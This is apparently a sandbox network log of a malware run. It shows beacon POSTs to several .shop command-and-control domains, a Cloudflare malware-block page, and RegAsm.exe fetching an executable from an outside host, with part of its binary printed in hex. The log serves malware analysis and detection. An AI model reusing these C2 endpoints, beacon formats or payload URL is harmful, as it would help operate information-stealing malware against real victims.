2024-08-30 04:17:15 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:15 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 29748358137263905=2; expires=Sat, 30 Aug 2025 04:17:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.33; expires=Sat, 30 Aug 2025 04:17:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.4296722412109375 expires: Fri, 30 Aug 2024 04:17:15 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TC73tydy9s%2FQe8xNHbmNod1a7grzN50pCqSQgDFSch9XUbozVzkVORiUK3wUJ6Bu4pcv0icffl0mQBMmVOMMvFzFI0icF6aiXJ%2F%2BLbBAw5QeLcrOEJl2K%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f8547fb3430e-EWR alt-svc: h3=":443"; ma=86400
2024-08-30 04:17:15 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-08-30 04:17:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49752	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: awwardwiqi.shop
2024-08-30 04:17:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-30 04:17:34 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kh8nl5mofdtqos7ls351evh8nd; expires=Mon, 23-Dec-2024 22:04:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hC%2BXLzhh5gFFU21PIJxwtsM9Nr%2FA7wD9BKg4Gl7mOiJI33dLn0qkc%2Be3AZGx7Hi8TrKpNGoC8MCQ8OneBMUVwBBgVAwdRJ%2F95UpuE74CoSapQSq33H6XoYiXI1ctBRAdKEU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f8ca7d184304-EWR alt-svc: h3=":443"; ma=86400
2024-08-30 04:17:34 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-30 04:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49753	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:34 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locatedblsoqp.shop
2024-08-30 04:17:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-30 04:17:35 UTC	798	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjrhg5940bbfl61vsai3sfv8gp; expires=Mon, 23-Dec-2024 22:04:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MskbWpZz5EIYtGl8nDCvauHyQvXfDJZGrnVcFmABJZs2Ep1NFayEPZFIcllU%2Bct1VvyxeaQhq4aJVGKCg0YxdSflaNUmGW8sFZQ1vGweKdoNI2PwZSaXtEY0P5Mx40vx4KZ7NlE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f8d07a15330c-EWR alt-svc: h3=":443"; ma=86400
2024-08-30 04:17:35 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-30 04:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49754	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: traineiwnqo.shop
2024-08-30 04:17:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-30 04:17:35 UTC	561	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2BBGp9fUIYbdVZSWHBgytYDcAPNR8u1%2B3Uh99J%2BIaQ%2FOOsTE3dBb7RRUaS%2BPhIJe0%2BttOyUzM%2BmfG%2Bcwpq6wPRThGOvxUUV%2BTFejrEMLZxr%2FOV%2BESxtHaVyRAbKwHoroY2T6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f8d62d178cdd-EWR
2024-08-30 04:17:35 UTC	808	IN	Data Raw: 31 31 32 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1128<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-30 04:17:35 UTC	1369	IN	Data Raw: 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 Data Ascii: gi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElement
2024-08-30 04:17:35 UTC	1369	IN	Data Raw: 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 57 71 73 77 32 6e 6e 34 46 58 63 38 4d 49 75 61 31 76 36 50 68 4f 52 51 5a 31 67 66 78 47 38 6d 6e 66 62 57 6c 33 4c 52 7a 6d 6f 2d 31 37 32 34 39 39 31 34 35 35 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 64 64 6f 73 2f 67 6c 6f 73 73 61 72 79 2f 6d 61 6c 77 61 72 65 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 Data Ascii: text/plain"> <input type="hidden" name="atok" value="Wqsw2nn4FXc8MIua1v6PhORQZ1gfxG8mnfbWl3LRzmo-1724991455-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/" class="cf-bt
2024-08-30 04:17:35 UTC	854	IN	Data Raw: 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 Data Ascii: tor sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudfla
2024-08-30 04:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49755	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:17:36 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Wqsw2nn4FXc8MIua1v6PhORQZ1gfxG8mnfbWl3LRzmo-1724991455-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: traineiwnqo.shop
2024-08-30 04:17:36 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-08-30 04:17:36 UTC	802	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e67jih0ajic7ha03dqaqr75997; expires=Mon, 23-Dec-2024 22:04:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lLQhV1taRPzbj2RKmkbAX26xa%2F7z4aSx3i5LRj6PTBeQ1d1iOrSfF%2BO6SeyPz4jFj50GYjA9CvshzsrSJi59YeX6jGPuDB%2BQ8YJ%2BJyBBFVdZjkXB9K2dVi%2F%2BbW2TkjodvpUS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f8da7f3c42b0-EWR alt-svc: h3=":443"; ma=86400
2024-08-30 04:17:36 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-30 04:17:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49807	186.64.114.115	443	8188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 04:18:23 UTC	73	OUT	GET /karu/l2.exe HTTP/1.1 Host: aldiablo.cl Cache-Control: no-cache
2024-08-30 04:18:23 UTC	456	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:24 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 03 Aug 2024 15:15:44 GMT ETag: "3a22c81-45a2b8-61ec8eaf44211" Accept-Ranges: bytes Content-Length: 4563640 Cache-Control: max-age=2592000, public Expires: Sun, 29 Sep 2024 04:18:24 GMT Vary: Accept-Encoding Content-Type: application/x-msdownload
2024-08-30 04:18:23 UTC	7736	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-08-30 04:18:23 UTC	8000	IN	Data Raw: a4 ac 1b 46 68 79 dd d5 86 41 51 e0 97 81 58 a1 dd f4 c0 d0 d3 fe 83 e3 c1 cb a4 bd 47 bc e6 ae 4c 10 3b a2 7e 6b 5e 5e e9 fc f7 1f 46 ed aa da cc b5 23 86 64 ff e4 c1 7f 7e 08 29 67 d2 8c 30 84 21 45 a4 ec 13 51 12 ca 1e 0b a2 8c 3a 28 66 06 9d f7 34 56 5e 2d af b8 cf a0 3f fe bb d2 1f aa a5 ee 1a a1 90 9b 38 fc 9f 58 31 9e 4b b1 97 16 46 bb d5 2a 2e 5f 42 ce f5 11 b7 7a 49 92 fb fb 6a 11 81 26 60 8e 23 c4 40 5b e6 5b 00 05 00 bb b0 2e 04 75 60 ce 80 80 aa 5c 84 1f eb 87 5c 97 f9 21 31 ed 72 46 ed 9c 63 b5 5c 75 31 36 a6 90 4e 47 8c 1b 4d fe b3 ed 82 4d e9 84 4c df e8 19 0b ec 82 4f 6c 17 e2 d6 96 4d 04 74 37 23 00 5b 1e d1 3f 69 1c 88 64 5d 26 5c e7 a6 31 84 49 8d 1c 72 55 2c 80 f6 a9 d3 69 8e f6 f2 e9 37 10 86 82 17 21 99 e7 56 50 85 01 7b 7f f7 5e 41 Data Ascii: FhyAQXGL;~k^^F#d~)g0!EQ:(f4V^-?8X1KF*._BzIj&`#@[[.u`\\!1rFc\u16NGMMLOlMt7#[?id]&\1IrU,i7!VP{^A
2024-08-30 04:18:23 UTC	8000	IN	Data Raw: 67 43 4d b1 e2 21 bb 84 b6 2f 39 c1 86 e5 a9 11 2d af 5e e5 2b c9 cd d1 3b 9b 6f 87 1a c3 9e a0 77 d0 4b ba 06 89 25 f4 c4 c8 7a 5f 47 ed fe fe 4f ab 77 c3 a6 4a ce af 41 67 05 4f c0 ac 96 36 30 4d e2 62 99 61 6e a0 1d c4 ad 62 82 4b 92 f5 ef f0 86 b7 28 98 d3 03 ce 23 5b 68 4b b2 c3 4c 40 f4 00 b9 80 0e 1a 95 d1 ae 3b e7 9d 13 b6 46 86 fe 58 8d 8e 27 a1 bc 34 4b d1 fc dc d4 3e 68 3d ae 15 a8 6d 41 3c 45 d3 2e 44 e2 06 ca 35 37 4d fb c3 bf d9 8a 32 50 ad ff 4d f5 1c 35 e6 5f 75 46 92 1c 10 25 66 2e 5c 93 36 b4 70 11 22 35 c8 f2 87 66 0e 32 05 a6 14 e6 f1 e9 97 b8 51 7b c9 b2 5c 4d 07 62 60 ee fe 58 48 77 39 ae ad d2 1b 80 6b 5b 73 d3 9f b0 1c 0d 72 74 31 74 6e 38 41 7c bd d5 e7 31 47 91 ac 8b 4e c7 de e1 85 32 9d 86 5b 9c 8e 75 4d bd c7 6a ba 5c c7 10 a7 Data Ascii: gCM!/9-^+;owK%z_GOwJAgO60MbanbK(#[hKL@;FX'4K>h=mA<E.D57M2PM5_uF%f.\6p"5f2Q{\Mb`XHw9k[srt1tn8A\|1GN2[uMj\
2024-08-30 04:18:23 UTC	8000	IN	Data Raw: 3f af 7d 20 02 c7 f5 77 8d 29 8f cd e2 4d 67 f7 c4 31 75 3e 8e 0e e3 87 c2 74 fb e0 ed 9e 08 46 b0 88 36 80 d4 9b fd 21 bc f5 b3 60 41 10 0a 9e ad b1 a1 ed fe 23 0f 0b f1 76 64 de f6 d3 57 02 f5 ac c1 6a e5 9c f2 e0 a7 60 08 d8 c7 51 17 c1 e4 1b 9f 86 0f 00 c8 1a b5 69 2d ae 13 9f 90 53 83 aa 9b 25 7b a3 85 a3 fb f3 b1 8f 05 f5 a9 a0 47 7b 23 48 34 d3 76 1a 08 cb ad 2d 78 94 ba 29 5c 44 82 73 45 06 ba 12 46 94 4c 76 44 a8 6b 77 7f ef 43 e8 ab 26 44 0b c9 28 58 ec 7a cd b0 8d c6 ec 23 83 6a 36 8c 4d 23 d3 f8 07 46 3c ba 76 33 ce 86 52 a9 07 96 ca 89 01 4c f6 e8 1b b9 4c 1a 39 b2 0e af 28 d0 5e 5c 3f af 53 41 95 76 e6 5a 9b 9d 92 9f fd 46 f1 6f 24 3a 87 da 16 35 72 34 7a 01 e4 12 6f 4a 95 49 6d 69 4f 7a 79 7b c7 d3 bf 19 4b 9a 32 71 db 32 e2 f3 e5 9a 37 2a Data Ascii: ?} w)Mg1u>tF6!`A#vdWj`Qi-S%{G{#H4v-x)\DsEFLvDkwC&D(Xz#j6M#F<v3RLL9(^\?SAvZFo$:5r4zoJImiOzy{K2q27*
2024-08-30 04:18:23 UTC	8000	IN	Data Raw: 1a 91 f2 8a 42 60 6f 01 9e e4 20 9e 3e 31 28 d1 22 90 85 2e 70 90 f0 98 b8 78 d6 c5 ae a7 b8 ab 49 f5 ec 56 69 a3 c9 89 54 b6 c9 49 fd a4 18 06 e9 99 83 d2 4a 31 63 1a 33 4c 20 22 f7 94 3a 59 b9 89 4a 52 30 63 a6 4f 47 08 22 53 f1 11 5c 14 36 ba 57 93 6e 0b 35 21 b8 24 1c 31 61 94 9e 07 43 dc f3 82 2d cf 04 d0 7c 26 37 26 e0 1a b7 76 12 83 30 6d d7 5e 16 77 e2 be 15 65 d0 3b f9 4b 34 d0 ef 9b 79 a7 38 98 7a 32 32 dc 4c fe 62 85 d8 d0 03 e7 ab 68 c9 63 f4 ae 4b 13 af f9 84 58 28 45 1d 72 4b 39 46 7e 93 20 cf bf fc ae aa 86 54 14 ed 83 64 1e 18 e3 5b e8 04 e9 0b f1 0c be 7a 78 d2 99 f1 80 31 b6 19 02 20 93 a1 5c 80 ed 6c 45 b6 2f 65 87 95 1e 2e 20 46 21 53 39 46 ac 45 cf cc d9 3a 22 f9 13 42 ac 1a ab 09 b8 68 4c cd 4e 56 6f 44 c2 2b dc e9 c6 ec 74 e3 cd 7e Data Ascii: B`o >1(".pxIViTIJ1c3L ":YJR0cOG"S\6Wn5!$1aC-\|&7&v0m^we;K4y8z22LbhcKX(ErK9F~ Td[zx1 \lE/e. F!S9FE:"BhLNVoD+t~
2024-08-30 04:18:24 UTC	8000	IN	Data Raw: 14 72 76 0b 0f dd ea 3c af d4 6b 9d 2f 94 b9 8c ad b8 40 61 b5 90 20 22 a2 86 e7 0f d8 7f 4e e8 4a 3a eb 3f 4c 17 de 13 4c 0f 3f 8d d8 89 c6 1c 62 b1 4c 58 7f a7 cd f8 61 42 3b 8d ae ef 5d ff cc 7d a1 e3 92 48 7e ef ba 81 67 57 72 66 8d 25 45 1b 41 7a 34 24 b3 c9 c8 4b 6f 25 7b c3 d4 24 26 03 84 67 df 1b fa 5a d0 0e a7 56 81 e9 d2 15 4e d7 54 dd be a3 0f 00 2c 48 71 db dc cd 1f 80 ad 1f 30 c5 9e 4d 12 c9 32 3e 26 33 f7 ea 2b ea a8 9c 0e bd 68 2e 65 e8 87 f2 1f a7 23 ab 58 27 17 7e 4d ee 6b fc ed 8d 9c 4e a2 ad 44 be a2 da c3 58 fc 3f 14 b6 94 6c 2d 00 48 b5 9f d3 6f 3a bf 3b d1 f0 37 20 7b db d0 24 d1 79 58 f4 6f f5 62 1e 07 0e 66 61 f6 ff 16 f2 14 71 ae df 88 21 2e 23 0d 72 c2 ff 23 e0 e2 c0 a4 37 65 5d 79 18 60 54 cb 41 f8 dd 39 b5 0e f3 f6 13 13 ff c4 Data Ascii: rv<k/@a "NJ:?LL?bLXaB;]}H~gWrf%EAz4$Ko%{$&gZVNT,Hq0M2>&3+h.e#X'~MkNDX?l-Ho:;7 {$yXobfaq!.#r#7e]y`TA9
2024-08-30 04:18:24 UTC	8000	IN	Data Raw: 06 d5 bb 1e dc f7 05 db 4e ec a7 19 7a b2 83 f8 ce 5d b5 dc 32 d5 c8 90 6b ef 5e a0 da c8 1e dc 19 d4 fc be 86 9b 76 50 20 90 9c ca 09 8e 87 68 c9 a8 15 9b 3e 65 89 dc ca 4a 61 ae 07 c1 bd 7e c9 e7 e8 1b 42 93 ca 45 3d 01 76 7e 7b c7 1a 68 5b 03 b5 37 d8 5f b3 9c 61 9a 37 60 d7 79 9a f8 8c ec a3 f9 30 23 c4 7d 4e d6 5f df 42 01 9b cd 4a dd f4 92 68 84 25 93 80 ac e2 f0 49 36 60 f0 4d 13 92 09 20 12 46 65 79 d7 8a 28 98 53 a5 fd 2b 03 bc 85 33 ae cc e3 9b a6 51 b0 3f 5e eb 88 27 f5 14 8c 36 40 ef 0a cc c5 26 2d ec fc ef 7e ad e9 79 2d c6 4b 38 f3 7d 5d 70 00 d5 09 09 79 0f 5a 6b 64 30 48 89 da ba b8 12 01 4b da a0 3b 91 43 34 dd 73 87 ad 53 d6 76 e1 9d 3a 9c 6f 56 07 32 fe 7f f9 7d 50 ae c2 d8 ee e3 54 fc 97 90 4b 3d ce 7a 68 c1 62 78 f9 77 46 e6 f9 a3 aa Data Ascii: Nz]2k^vP h>eJa~BE=v~{h[7_a7`y0#}N_BJh%I6`M Fey(S+3Q?^'6@&-~y-K8}]pyZkd0HK;C4sSv:oV2}PTK=zhbxwF
2024-08-30 04:18:24 UTC	8000	IN	Data Raw: 03 56 01 ab 2c f7 db 21 b5 47 40 e8 a7 4b 0a c9 38 9d 29 5c e4 23 6f a2 c5 c7 2c 67 a3 51 47 c6 d9 3b 7e a3 e0 7e fd 3a 55 3f 9c ec 43 84 60 55 73 8d fd f8 5b b8 29 f9 74 f7 8a d4 50 05 10 47 68 bd fb f5 ae e2 26 e6 49 0c 90 c3 33 ad 75 23 34 c0 5b 34 fa 27 05 92 34 cd ef 6f 7d 2e 2f f3 03 ad 0e 0d 68 20 59 3f bb 54 3a 4b 18 c9 cf 61 b9 23 5f c5 fe 27 05 c0 30 1a 2e 4e a1 ca cf 24 58 67 7b 71 55 1e aa 92 38 68 c2 c5 66 41 f0 7b e3 f3 da 83 54 4d 7a 63 cd 40 f2 fb 66 61 e2 3d 40 84 9b 27 6a 42 06 80 a4 ac 25 03 26 18 e7 22 ff c4 83 98 f8 db cc 02 4e d1 c8 c8 0d e8 6a 6c 4a b4 d8 3c bd 41 9b f1 92 ee 21 7b 2c cb f8 a9 c7 2e e2 aa 67 05 cf b4 6e ea 55 0d 48 ef ba e8 ef f1 6d df 98 db ca 1c c0 3f b7 ab d7 b6 6b db a1 02 5f 89 fa 11 9d ac 8e fd 24 37 58 76 c0 Data Ascii: V,!G@K8)\#o,gQG;~~:U?C`Us[)tPGh&I3u#4[4'4o}./h Y?T:Ka#_'0.N$Xg{qU8hfA{TMzc@fa=@'jB%&"NjlJ<A!{,.gnUHm?k_$7Xv
2024-08-30 04:18:24 UTC	8000	IN	Data Raw: 42 27 d1 5c c9 a6 c1 f5 01 99 c8 b2 31 51 72 5b 7e 0d 91 14 d7 d0 2c d1 95 50 40 ee ff 8e bf 89 bd eb 6b 0e 77 12 67 53 07 57 c2 03 1b 55 56 87 e3 65 b6 3f 62 af 19 b2 78 83 f4 c1 ab 3d 03 43 ba 87 6c 87 e9 55 12 a9 92 40 67 89 0b 1f 98 00 d8 13 fa bc e0 78 06 d2 7d 38 2b d5 13 8e 27 03 99 69 d4 81 23 08 9c 81 c6 03 c0 e9 ac f0 14 9f 8e 0a 10 91 00 e8 3e 55 f9 40 09 48 aa 1f d6 a3 33 f7 e5 88 26 ad b5 24 38 e0 17 5e fe ed 11 1b a0 c3 88 0b db 2d 50 ae 77 ae 1a d8 b0 94 36 58 a9 b4 c8 69 e9 3b 30 b7 68 21 42 52 fe b5 09 f8 2c 7f b4 cf 70 69 1b 9c 1b 18 2d be 70 75 6a 9e de 96 c5 bd a3 5c c7 f9 ea f8 ac 98 76 48 a6 c4 f8 74 7e de 28 1d d4 ad 2a 8c d1 fa 78 e4 01 cc e8 8e 91 3d eb 9f e4 07 84 2d 85 a1 2c 10 3c 9b 45 5e f8 be 06 f5 48 f9 35 8a 8b 40 a4 c6 ba Data Ascii: 